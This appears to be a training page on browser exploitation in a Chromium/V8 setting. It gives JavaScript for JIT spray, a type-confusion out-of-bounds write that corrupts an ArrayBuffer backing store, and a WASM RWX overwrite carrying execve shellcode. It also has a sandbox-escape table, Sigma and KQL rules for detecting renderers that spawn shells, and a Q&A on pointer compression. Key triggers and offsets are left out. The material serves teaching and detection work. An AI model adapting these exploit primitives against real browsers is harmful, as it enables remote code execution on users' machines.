Browser Exploit Techniques
Modern browser exploitation is a two-stage process: a renderer exploit achieves arbitrary code execution inside the sandboxed renderer process, then a sandbox escape exploit leverages a privileged IPC path or kernel vulnerability to achieve unsandboxed execution. The renderer stage typically abuses the JavaScript engine (type confusion, OOB read/write, UAF) to gain an arbitrary read/write primitive. The sandbox escape stage abuses the broker or a kernel driver to elevate out of the AppContainer or job object restrictions.
An enterprise deploys an internally-developed Chromium-based browser with an older V8 version (8.x, circa 2021). A researcher identifies a type confusion bug in the JIT compiler's node type tracking: a JSArray can be treated as a FixedArray after a specific sequence of property accesses. You need to turn this confusion into an out-of-bounds write primitive, then corrupt an ArrayBuffer's backing store pointer to achieve arbitrary memory read/write, then write shellcode and transfer execution — all before escaping the sandbox via a privileged IPC handler.
JIT Spray
// JIT spray: force the JIT compiler to emit code that embeds attacker-controlled values
// as immediate operands. Those values can be interpreted as x86/x64 instructions if
// execution lands in the middle of the JIT-compiled blob.
//
// Classic 32-bit ASLR bypass: (less relevant with 64-bit ASLR + ACG)
// XOR EAX, 0x0c0c0c0c encodes to: 35 0c 0c 0c 0c
// Repeat 0x10000+ times → JIT blob of identical XOR instructions in predictable range
// Mid-instruction landing at bytes 3-5 of first XOR = 0c 0c 0c =
// "ADD CL, 0x0c" (x86 NOP-like sequence) → slides to shellcode at end of chain
// Modern JIT spray (ACG/W^X bypass with WASM or asm.js, pre-ACG):
// WASM compiled by V8 into memory region that is RWX → overwrite that region
// ACG (Arbitrary Code Guard) prevents creating new RWX regions in Edge/Chrome sandboxed
// renderer → JIT spray to RWX WASM regions is a common pre-ACG technique
// JavaScript to produce repetitive JIT blob:
function jitSpray() {
var x = 0;
x ^= 0x0c0c0c0c; // 5 bytes: 35 0c 0c 0c 0c
x ^= 0x0c0c0c0c;
x ^= 0x0c0c0c0c;
// ... repeat 10000 times ...
return x;
}
// V8 hot-path compiles this to RWX or RX memory in JIT heap
// Address range predictable (before ASLR improvements)
Type Confusion → OOB Read/Write
// Simplified type confusion primitive in JavaScript (illustrative, not a real CVE):
function typeConfuse() {
// Setup: create JSArray that will be confused as FixedArray
var victim = [1.1, 2.2, 3.3, 4.4]; // PACKED_DOUBLE_ELEMENTS
// Create ArrayBuffer immediately adjacent on heap
var spray = [];
for (var i = 0; i < 100; i++) spray.push(new ArrayBuffer(0x100));
// Find the one adjacent to victim via confusion primitive (omitted)
var adjacentBuf = spray[50];
// After type confusion fires: victim.length appears as large value
// OOB write at index that corresponds to adjacentBuf.backing_store offset
var oobOffset = (/* offset to backing_store */ 24) / 8;
victim[oobOffset] = int64ToDouble(BigInt(0x41414141)); // overwrite backing_store
// Now: any read/write through adjacentBuf reads/writes at 0x41414141
var view = new DataView(adjacentBuf);
view.getBigUint64(0, true); // reads from 0x41414141 → arbitrary read
view.setBigUint64(0, 0x4242424242424242n, true); // arbitrary write
}
// Helper: double ↔ int64 conversion via SharedArrayBuffer trick (no type confusion needed):
var convBuf = new ArrayBuffer(8);
var f64 = new Float64Array(convBuf);
var u32 = new Uint32Array(convBuf);
function f2i(f) { f64[0] = f; return BigInt(u32[0]) | (BigInt(u32[1]) << 32n); }
function i2f(i) { u32[0] = Number(i & 0xffffffffn); u32[1] = Number(i >> 32n); return f64[0]; }
Sandbox Escape Techniques
| Technique | Mechanism | Mitigation |
|---|---|---|
| GPU process exploitation | GPU process has broader OS access; renderer sends malformed IPC to GPU → code exec outside sandbox | GPU process sandboxing (Win10 21H2+) |
| Chrome IPC Mojo message handler bug | Renderer → Browser process via Mojo IPC; heap UAF/OOB in browser-side Mojo handler → code in browser | MiraclePtr, BackupRefPtr, Mojo type validation |
| Windows kernel EoP | Renderer RCE → use NtGdi* or win32k syscalls from AppContainer to exploit kernel → SYSTEM | win32k.sys lockdown for renderer processes (Chrome/Edge) |
| CSRSS/COM server abuse | COM objects accessible to AppContainer; vulnerable COM server exploited via marshaled interface | AppContainer COM access restrictions |
| Extension privilege abuse | Compromise a privileged extension that has broader permissions; use extension's Message Passing to drive browser API | Extension CSP, permissions review |
V8 Shellcode Execution — WASM RWX Region
// Pre-ACG technique: V8 compiles WASM to a RWX memory region.
// Arbitrary-write primitive → overwrite WASM code region → write shellcode.
// Then trigger WASM function call → executes shellcode.
// (ACG blocks creation of new RWX regions, but if WASM RWX region already exists
// and we have arbitrary write, we can overwrite it without allocating a new one.)
async function exploitViaWasm(writeQword, readQword) {
// Compile a trivial WASM module
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,4,1,96,0,0,3,2,1,0,7,8,1,4,109,97,105,110,0,0,10,3,1,1,0,11]);
var wasmMod = new WebAssembly.Module(wasmCode);
var wasmInst = new WebAssembly.Instance(wasmMod);
// Locate the WASM instance's JIT code region address using arbitrary read:
// V8 WasmInstanceObject → imported_function_targets → jump table address
// (actual offset depends on V8 version — found via object layout analysis)
var wasmFuncAddr = /* read from wasmInst's internal pointer at known offset */ 0n;
var shellcode = new Uint8Array([
0x48,0x31,0xff, // xor rdi, rdi
0x48,0xc7,0xc0,0x3b,0,0,0, // mov rax, 59 (sys_execve)
0x0f,0x05 // syscall (Linux) — or int3 as PoC
]);
// Overwrite WASM function's code at wasmFuncAddr with shellcode
for (var i = 0; i < shellcode.length; i += 8) {
var chunk = 0n;
for (var j = Math.min(7, shellcode.length-i-1); j >= 0; j--)
chunk = (chunk << 8n) | BigInt(shellcode[i+j]);
writeQword(wasmFuncAddr + BigInt(i), chunk);
}
// Trigger execution: call WASM function → jumps to our shellcode
wasmInst.exports.main();
}
Full Exploit Flow
Detection Engineering
title: Renderer Process Spawning Unexpected Child
logsource:
product: windows
category: process_creation
detection:
renderer:
ParentImage|contains:
- '\chrome.exe'
- '\msedge.exe'
- '\firefox.exe'
ParentCommandLine|contains: '--type=renderer'
suspicious_child:
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\wscript.exe'
- '\mshta.exe'
condition: renderer and suspicious_child
level: critical
tags: [attack.execution, T1203, T1189]
title: Browser Renderer Memory — RWX Region Written Outside JIT Baseline
logsource:
product: windows
service: microsoft-windows-security-mitigations
detection:
selection:
EventID: 10
ProcessName|contains:
- 'chrome'
- 'msedge'
condition: selection
level: high
-- MDE KQL: browser renderer spawning non-browser child process
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe")
| where InitiatingProcessCommandLine has "--type=renderer"
| where FileName in~ ("cmd.exe","powershell.exe","mshta.exe","wscript.exe","cscript.exe")
| project Timestamp, DeviceName, InitiatingProcessCommandLine,
FileName, ProcessCommandLine
-- MDE KQL: file drop from renderer process to user profile
DeviceFileEvents
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe")
| where InitiatingProcessCommandLine has "--type=renderer"
| where FolderPath startswith @"C:\Users\"
| where FileName endswith ".exe"
or FileName endswith ".dll"
or FileName endswith ".ps1"
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessCommandLine
Q&A
What is the V8 pointer compression scheme, and how does it complicate exploit development compared to uncompressed 64-bit pointers?
V8 pointer compression (introduced in V8 8.0, enabled by default in Chrome 80+) reduces per-object memory cost by storing heap pointers as 32-bit offsets relative to a 4GB-aligned "cage" base address rather than as full 64-bit addresses. The cage base is stored in a dedicated register (typically r13 on x64). Every V8 heap access computes the real 64-bit address as cage_base + compressed_ptr at runtime. This halves the memory used by pointers on the heap and substantially improves cache efficiency.
The exploit impact is twofold. First, compressed pointers are 32-bit values — leaking a 32-bit value from V8 heap no longer directly gives you a full 64-bit OS address. To dereference OS memory or call a native function, you must first leak the cage base (typically by finding a raw 64-bit pointer that escapes compression, such as the WASM backing store or the native code pointer in a JSFunction) and then combine it with the compressed offset. Second, the 4GB cage creates a natural boundary: arbitrary writes that stay within the cage are bounded to V8 heap. Writing outside the cage (to corrupt OS structures or inject shellcode in OS memory) requires finding a raw 64-bit pointer escape — objects like ArrayBuffer backing stores, TypedArray data pointers, or code pointers in WasmInstanceObject that V8 stores as uncompressed full 64-bit values even inside the cage.
Concretely: exploits written for pre-compression V8 (where every heap value was a full 64-bit pointer) break because the leaked values are now 32-bit offsets. The exploit must add a step to learn cage_base via one of the uncompressed leaks, then reconstruct 64-bit addresses before overwriting backing stores or code pointers.